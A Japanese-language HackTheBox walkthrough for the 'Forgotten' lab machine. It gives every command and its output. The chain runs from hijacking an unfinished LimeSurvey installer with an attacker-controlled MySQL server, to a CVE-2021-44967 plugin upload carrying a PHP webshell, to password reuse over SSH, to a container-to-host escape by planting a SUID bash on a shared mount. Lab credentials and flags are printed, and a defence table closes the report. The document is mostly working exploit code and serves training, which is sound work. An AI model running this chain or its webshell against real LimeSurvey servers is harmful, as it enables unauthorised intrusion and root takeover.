HackTheBox: Forgotten — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http (403)
→
22/ssh, 80/http (403)
/survey = 未完了installer
攻撃者MySQL dockerをDBに指定
→
攻撃者MySQL dockerをDBに指定
CVE-2021-44967
plugin manager 任意ファイルアップロード
→
plugin manager 任意ファイルアップロード
webshell RCE
limesvc (docker内)
→
limesvc (docker内)
env LIMESURVEY_PASS漏洩
SSH limesvc@host
→
SSH limesvc@host
user.txt ✓
→
sudo ALL (docker内)
共有マウント /opt/limesurvey
→
共有マウント /opt/limesurvey
SUID bash配置
container→host escape
→
container→host escape
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャンと /etc/hosts 設定
BASH
nmap -sV -sC -p- --min-rate 3000 10.129.234.81 echo "10.129.234.81 forgotten.vl" | sudo tee -a /etc/hosts
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 80/tcp open http Apache httpd 2.4.56
ℹ️
ルート
/ は 403 Forbidden。ディレクトリ探索(feroxbuster/gobuster)が必須。
ディレクトリ探索 — /survey を発見
BASH
feroxbuster -u http://forgotten.vl/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
RESULT
200 GET /survey/
→ LimeSurvey installer (未完了・DB未設定)
BASH
curl -s http://forgotten.vl/survey/ | grep -i title
RESULT
<title>LimeSurvey installer</title>
🚨
重要発見: LimeSurveyがまだインストールされていない状態で公開されている。
installer のDB設定ステップで、攻撃者が用意したMySQLサーバーを指定できてしまうため、
インストール完了後は攻撃者DBを使ったLimeSurveyインスタンスとして動作させられる。
PHASE 2
LimeSurvey Installer 乗っ取り — 攻撃者DBでインストール完了
攻撃者側MySQL(Docker)を起動
BASH
# 名前付きボリュームでDBを永続化しておくと、同じターゲットに対して # installerをやり直す場合でもデータが消えずに安全(後述トラブルシューティング参照) docker volume create forgotten-mysql-data docker run -d --rm --name forgotten-mysql -p 3306:3306 \ -v forgotten-mysql-data:/var/lib/mysql \ -e MYSQL_ROOT_PASSWORD=password -e MYSQL_DATABASE=lime mysql:latest # 起動完了(ポート3306で接続可能になるまで)を確認してから次に進む until mysqladmin -h 127.0.0.1 -u root -ppassword ping 2>&1 | grep -q "mysqld is alive"; do sleep 5; done
RESULT
mysqld is alive
⚠️
mysql:latest イメージは「一時サーバーでDB初期化→シャットダウン→本サーバー起動」という
2段階の初期化を行い、コンテナ起動から実際にポート3306で接続を受け付けるまで約28秒かかる。
固定 sleep 20 等では不十分で、間に合わないまま次のステップに進むと
installerが CDbConnection failed to open the DB connection で静かに壊れる。
installer ウィザードを進める (welcome → license → database)
BASH
JAR=/tmp/fgt_cookies.txt BASE="http://forgotten.vl/survey" # welcome: CSRFトークン抽出 → 言語選択POST curl -s -c $JAR -b $JAR "$BASE/index.php?r=installer/welcome" -o /tmp/welcome.html TOKEN=$(grep -oP '(?<=value=")[^"]*(?=" name="YII_CSRF_TOKEN")' /tmp/welcome.html) curl -s -c $JAR -b $JAR -L "$BASE/index.php?r=installer/welcome" \ --data-urlencode "YII_CSRF_TOKEN=$TOKEN" --data-urlencode "lng=en" # license: 同意 curl -s -c $JAR -b $JAR "$BASE/index.php?r=installer/license" -o /tmp/license.html TOKEN=$(grep -oP '(?<=value=")[^"]*(?=" name="YII_CSRF_TOKEN")' /tmp/license.html) curl -s -c $JAR -b $JAR -L "$BASE/index.php?r=installer/license" \ --data-urlencode "YII_CSRF_TOKEN=$TOKEN" --data-urlencode "loadname=" \ --data-urlencode "confirmation=yes" # database: 攻撃者MySQLを指定(InstallerConfigForm[...]の配列記法必須、dbengineは大文字MYISAM必須) curl -s -c $JAR -b $JAR "$BASE/index.php?r=installer/database" -o /tmp/db.html TOKEN=$(grep -oP '(?<=value=")[^"]*(?=" name="YII_CSRF_TOKEN")' /tmp/db.html) curl -s -c $JAR -b $JAR -L "$BASE/index.php?r=installer/database" \ --data-urlencode "YII_CSRF_TOKEN=$TOKEN" \ --data-urlencode "InstallerConfigForm[dbtype]=mysql" \ --data-urlencode "InstallerConfigForm[dbengine]=MYISAM" \ --data-urlencode "InstallerConfigForm[dblocation]=<攻撃者IP>" \ --data-urlencode "InstallerConfigForm[dbuser]=root" \ --data-urlencode "InstallerConfigForm[dbpwd]=password" \ --data-urlencode "InstallerConfigForm[dbname]=lime" \ --data-urlencode "InstallerConfigForm[dbprefix]=lime_" \ --data-urlencode "yt0=Next"
ℹ️
各ステップで YII_CSRF_TOKEN を再取得して送る必要がある。LimeSurveyの実際のHTML出力は
value="..." name="YII_CSRF_TOKEN" の順(valueがnameより前)なので、属性順に依存しない
正規表現で抽出すること。
populatedb → admin アカウント作成で install 完了
BASH
# populatedb: 空DBへテーブル一式を自動作成 curl -s -c $JAR -b $JAR -L "$BASE/index.php?r=installer/populatedb" \ --data-urlencode "YII_CSRF_TOKEN=$TOKEN" \ --data-urlencode "createdbstep2=Populate database" -o /tmp/pop.html # optional: 管理者アカウント作成 (ユーザー名/パスワードは自分で決める) TOKEN=$(grep -oP '(?<=value=")[^"]*(?=" name="YII_CSRF_TOKEN")' /tmp/pop.html) curl -s -c $JAR -b $JAR -L "$BASE/index.php?r=installer/optional" \ --data-urlencode "YII_CSRF_TOKEN=$TOKEN" \ --data-urlencode "InstallerConfigForm[adminLoginName]=forgotten" \ --data-urlencode "InstallerConfigForm[adminLoginPwd]=forgotten123!" \ --data-urlencode "InstallerConfigForm[confirmPwd]=forgotten123!" \ --data-urlencode "InstallerConfigForm[adminName]=Administrator" \ --data-urlencode "InstallerConfigForm[adminEmail]=admin@forgotten.vl" \ --data-urlencode "InstallerConfigForm[siteName]=LimeSurvey" \ --data-urlencode "yt0=Next"
RESULT
Congratulations! LimeSurvey has been installed successfully.
✅
install成功。 管理者アカウント
forgotten:forgotten123! でログインできる状態になった。
管理者ログイン
BASH
curl -s -c $JAR -b $JAR "$BASE/index.php/admin/authentication/sa/login" -o /tmp/login.html TOKEN=$(grep -oP '(?<=value=")[^"]*(?=" name="YII_CSRF_TOKEN")' /tmp/login.html) curl -s -c $JAR -b $JAR -L "$BASE/index.php/admin/authentication/sa/login" \ --data-urlencode "YII_CSRF_TOKEN=$TOKEN" \ --data-urlencode "authMethod=Authdb" \ --data-urlencode "user=forgotten" \ --data-urlencode "password=forgotten123!" \ --data-urlencode "loginlang=en" \ --data-urlencode "action=login" \ --data-urlencode "width=" \ --data-urlencode "login_submit=login"
⚠️
ログインフォームには
authMethod・width・login_submit の
hidden/送信フィールドが必須。無いとフォームが無言で再表示されるだけで失敗する。
同じ Cookie jar を GET/POST 間で必ず使い回すこと(別jarを使うとCSRFトークン不一致で
400 malformed syntax になる)。
PHASE 3
CVE-2021-44967 Plugin RCE & user.txt 取得
webshell入りプラグインZIPを作成
PYTHON
import zipfile
PLUGIN = "Y1LD1R1M"
config = (
'<?xml version="1.0" encoding="UTF-8"?>\n<config><metadata>'
f'<name>{PLUGIN}</name><type>plugin</type>'
'<version>5.0</version><author>x</author>'
'<license>LGPL</license>' # ★必須タグ(後述)
'<description>x</description></metadata>'
'<compatibility><version>3.0</version><version>4.0</version>'
'<version>5.0</version><version>6.0</version></compatibility>'
'<updaters disabled="disabled"></updaters></config>'
)
webshell = "<?php system($_REQUEST['cmd']); ?>"
pclass = (
f"<?php class {PLUGIN} extends "
f"\\LimeSurvey\\PluginManager\\PluginBase {{ "
f"protected $storage='DbStorage'; "
f"static protected $description='x'; "
f"static protected $name='{PLUGIN}'; "
f"public function init(){{}} }}"
)
with zipfile.ZipFile("Y1LD1R1M.zip", "w") as z:
z.writestr("config.xml", config)
z.writestr("php-rev.php", webshell)
z.writestr(f"{PLUGIN}.php", pclass)
🚨
ハマりポイント:
config.xml に <license> タグが無いと、
アップロード自体は200で成功したように見えても、インストール確定時に
「The plugin could not be installed or updated: Missing tag license in metadata in
extension config.xml」とだけ画面に表示され、プラグインファイルがディスクに一切書き込まれない
(エラーログにも何も残らないため非常に気づきにくい)。
プラグインをアップロード & インストール確定
BASH
curl -s -c $JAR -b $JAR "$BASE/index.php/admin/pluginmanager" -o /tmp/pm.html TOKEN=$(grep -oP '(?<=value=")[^"]*(?=" name="YII_CSRF_TOKEN")' /tmp/pm.html) # アップロード (確認ページが返る) curl -s -c $JAR -b $JAR -L "$BASE/index.php/admin/pluginmanager/sa/upload" \ -F "YII_CSRF_TOKEN=$TOKEN" \ -F "the_file=@Y1LD1R1M.zip;type=application/zip" \ -F "lid=" -F "action=templateupload" -o /tmp/upload.html # install確定 (確認ページのフォームと同じトークンを使う) TOKEN=$(grep -oP '(?<=value=")[^"]*(?=" name="YII_CSRF_TOKEN")' /tmp/upload.html) curl -s -c $JAR -b $JAR -L "$BASE/index.php/admin/pluginmanager?sa=installUploadedPlugin" \ --data-urlencode "YII_CSRF_TOKEN=$TOKEN" \ --data-urlencode "isUpdate=false" -o /tmp/install.html
RESULT
The plugin was successfully installed. You need to activate it before you can use it.
⚠️
もう一つのハマりポイント: install成功後も「activateするまで使えない」状態のまま。
プラグイン一覧ページ(ページネーションあり、名前のアルファベット順で複数ページに分割される)を
走査して
<tr data-id="N">...<a>Y1LD1R1M</a> から pluginId を特定する必要がある。
pluginId を特定して activate
BASH
# 2ページ目で該当行を発見 (例: data-id="18") curl -s -c $JAR -b $JAR "$BASE/index.php/admin/pluginmanager?page=2" -o /tmp/pm2.html grep -oP 'data-id="\d+"(?=[^>]*>\s*<td><a[^>]*>Y1LD1R1M)' /tmp/pm2.html # → pluginId=18 (インスタンスごとに変わる) TOKEN=$(grep -oP '(?<=value=")[^"]*(?=" name="YII_CSRF_TOKEN")' /tmp/pm2.html) curl -s -c $JAR -b $JAR -L -H "X-Requested-With: XMLHttpRequest" \ "$BASE/index.php/admin/pluginmanager?sa=activate" \ --data-urlencode "YII_CSRF_TOKEN=$TOKEN" \ --data-urlencode "pluginId=18"
✅
activate後、HTB公式ウォークスルーが言及する「GUIでプラグイン一覧の「…」メニューから
Active をクリック」という手動手順に相当する処理が完了し、webshellが到達可能になる。
RCE確認 & LIMESURVEY_PASS 漏洩
BASH
curl -s -G "http://forgotten.vl/survey/upload/plugins/Y1LD1R1M/php-rev.php" --data-urlencode "cmd=id" curl -s -G "http://forgotten.vl/survey/upload/plugins/Y1LD1R1M/php-rev.php" --data-urlencode "cmd=env"
RESULT
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc),27(sudo) HOSTNAME=efaa6f5097ed LIMESURVEY_ADMIN=limesvc LIMESURVEY_PASS=5W5HN4K4GCXf9E PWD=/var/www/html/survey/upload/plugins/Y1LD1R1M
🚨
RCE成功。 このシェルはDockerコンテナ内の limesvc
(groups に
sudo を含む)。環境変数 LIMESURVEY_PASS がそのまま
ホスト側 limesvc ユーザーのSSHパスワードと同一(パスワード再利用)。
SSHでホストに接続 & user.txt 取得
BASH
sshpass -p '5W5HN4K4GCXf9E' ssh limesvc@10.129.234.81 "id; cat /home/limesvc/user.txt"
RESULT
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc) ← sudo無し(ホスト側はコンテナ内と別権限) 431cee1f6272150474d1e080b6aa2e0f
user.txt — limesvc@forgotten (host)
431cee1f6272150474d1e080b6aa2e0f
ℹ️
ホスト側のlimesvcはsudo権限を持たない一般ユーザー。昇格にはコンテナ内の
limesvc(sudo権限あり)を経由する必要がある(Phase 4以降)。
PHASE 4
権限昇格の下調べ — コンテナ内 sudo & 共有マウント発見
コンテナ内(webshell経由)で sudo 権限を確認
BASH
curl -s -G "http://forgotten.vl/survey/upload/plugins/Y1LD1R1M/php-rev.php" \ --data-urlencode "cmd=echo 5W5HN4K4GCXf9E | sudo -S -l 2>&1"
RESULT
User limesvc may run the following commands on efaa6f5097ed:
(ALL : ALL) ALL
🚨
コンテナ内limesvcはパスワード付きでフルsudo可能
(ホスト側SSHの同一パスワードが使える)。
sudo -S でパスワードを標準入力から渡す
(TTY無しの環境では -S 必須)。
コンテナとホストの共有マウントを確認
BASH
curl -s -G "http://forgotten.vl/survey/upload/plugins/Y1LD1R1M/php-rev.php" \ --data-urlencode "cmd=echo 5W5HN4K4GCXf9E | sudo -S mount 2>&1 | grep survey"
RESULT
/dev/root on /var/www/html/survey type ext4 (rw,...)
ℹ️
コンテナ内の
/var/www/html/survey はホストの /opt/limesurvey と
bind-mountで共有されている。コンテナ内でroot権限を取り、この共有ディレクトリに
SUIDビット付きのバイナリを置けば、ホスト側からそのSUIDバイナリを直接実行できる
(コンテナのroot特権をホストのファイルシステム経由で「輸出」する手法)。
PHASE 5
共有マウント経由 SUID bash escape → root.txt
コンテナ内root権限でSUID bashを共有マウントに配置
BASH
curl -s -G "http://forgotten.vl/survey/upload/plugins/Y1LD1R1M/php-rev.php" \ --data-urlencode "cmd=echo 5W5HN4K4GCXf9E | sudo -S cp /bin/bash /var/www/html/survey/.rootbash 2>&1" curl -s -G "http://forgotten.vl/survey/upload/plugins/Y1LD1R1M/php-rev.php" \ --data-urlencode "cmd=echo 5W5HN4K4GCXf9E | sudo -S chmod 4777 /var/www/html/survey/.rootbash 2>&1" curl -s -G "http://forgotten.vl/survey/upload/plugins/Y1LD1R1M/php-rev.php" \ --data-urlencode "cmd=ls -la /var/www/html/survey/.rootbash"
RESULT
-rwsrwxrwx 1 root root 1234376 Oct 30 17:52 /var/www/html/survey/.rootbash
✅
/bin/bash を cp + chmod 4777 (SUID+全権限)でコピー。
共有マウント経由でホスト側の /opt/limesurvey/.rootbash にも同じファイルが
root所有・SUID付きで即座に反映される。
ホスト側SSH(limesvc)からSUID bashを実行してroot化
BASH
sshpass -p '5W5HN4K4GCXf9E' ssh limesvc@10.129.234.81 \ "ls -la /opt/limesurvey/.rootbash; /opt/limesurvey/.rootbash -p -c 'id; cat /root/root.txt'"
RESULT
-rwsrwxrwx 1 root root 1234376 Oct 30 17:52 /opt/limesurvey/.rootbash uid=2000(limesvc) gid=2000(limesvc) euid=0(root) groups=2000(limesvc) ef2169c2d9940c0de3c715f36b60f3ec
✅
bash -p (-p = privileged, SUIDで実効uidを保持したまま起動)で
euid=0のシェルを獲得。/root/root.txt を直接読み取り成功。
root.txt — root@forgotten (host)
ef2169c2d9940c0de3c715f36b60f3ec
トラブルシューティング: 同一ターゲットへの再攻撃で installer が壊れる
NOTE
本検証では、一度 install を完了させた後に攻撃者側MySQLコンテナを
`docker rm -f` で再作成(ボリューム無し)したところ、ターゲット側の
config.php は以前のDB接続先を指したまま残っており、空になったDBに
接続しようとして installer の全ページ(welcomeページすら!)が
CDbCommand failed to execute the SQL statement:
Table 'lime.lime_settings_global' doesn't exist
という500エラーで完全に機能停止した。LimeSurveyは config.php が
存在する限り、インストーラURLでもDB接続を試みる実装のため、
一度でも「install済み」状態になると、空DBでは一切身動きが取れなくなる。
対策1 (予防): 攻撃者MySQLコンテナは名前付きボリュームでDBデータを
永続化しておく(本レポートのPhase 2-1参照)。コンテナを再作成しても
データは消えない。
対策2 (事後復旧): 以前の実行で webshell が既に
upload/plugins/<name>/php-rev.php に残っていれば、それは生PHPファイルで
Yii/DBを経由せず単体で動作し続けるため、これを使って壊れたconfig.phpを
削除すれば installer が「未インストール」状態に戻り、Phase 2 からやり直せる:
curl -s -G ".../upload/plugins/Y1LD1R1M/php-rev.php" \
--data-urlencode "cmd=rm -f /var/www/html/survey/application/config/config.php"
⚠️
同じターゲットに対して複数回検証する場合は特に注意。本番のHTBインスタンスでも、一度
インストールを完了させた後に攻撃者DBを破棄すると、再攻撃時にこの「installer完全ロック」状態に
陥る点は覚えておくとよい。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — limesvc@forgotten (host)
431cee1f6272150474d1e080b6aa2e0f
root.txt — root@forgotten (host)
ef2169c2d9940c0de3c715f36b60f3ec
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Installer乗っ取り | LimeSurvey 未完了インストーラ (/survey) | 任意DBを接続先として指定できる | High | installerのdatabaseステップで攻撃者MySQLを指定し、インストールを乗っ取る |
| CVE-2021-44967 | LimeSurvey Plugin Manager | リモートコード実行 (limesvc, コンテナ内) | Critical | config.xml(license タグ必須)+webshell+pluginクラスを含むzipをアップロード→install→activate |
| 環境変数へのパスワード平文格納 | Docker コンテナ env (LIMESURVEY_PASS) | ホスト側同一パスワードでのSSHログイン | Medium | webshellで env を読み取り、パスワード再利用によりホストSSHへ横移動 |
| Docker共有マウント + sudo ALL | コンテナ /var/www/html/survey ⇔ ホスト /opt/limesurvey | コンテナ→ホストの権限昇格 (root) | Critical | コンテナ内rootでSUID bashを共有ディレクトリに配置、ホスト側SSHから-pオプションで実行してroot化 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + feroxbuster | 22/80、/survey = LimeSurvey未完了installer |
| 2 | Installer乗っ取り | 攻撃者MySQL docker + 多段POST(CSRF付き) | install完了、admin: forgotten:forgotten123! |
| 3 | Plugin RCE | CVE-2021-44967 (license タグ+activate必須) | user.txt、LIMESURVEY_PASS漏洩 |
| 4 | 権限調査 | sudo -l、mount(webshell経由) | コンテナ内sudo ALL、共有マウント発見 |
| 5 | 権限昇格 | SUID bash + 共有マウント container→host escape | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| LimeSurveyのインストーラが未完了のまま本番公開されていた | installerディレクトリは外部公開せず、インストール完了後は installer/ を削除・ブロックする。DB接続先をホワイトリストで制限する。 |
| Plugin Manager経由で任意ファイル(webshell含む)をアップロード・実行できる(CVE-2021-44967) | LimeSurveyを最新版に更新する。プラグインインストール権限は信頼できる管理者のみに限定し、アップロードされたファイルの拡張子・内容を検証する。 |
| DockerコンテナのenvにDBパスワードを平文格納、かつホスト側アカウントとパスワード再利用 | シークレットはenvではなくシークレット管理ツール(Vault等)で注入する。コンテナとホストでパスワードを分離する。 |
| コンテナ内ユーザーにsudo ALLを許可、かつホストとの書き込み可能な共有マウントが存在 | コンテナ内では最小権限(sudoを付与しない)を徹底する。ホストとの bind mount は読み取り専用にするか、SUIDビットの設置を防ぐ nosuid マウントオプションを付与する。 |

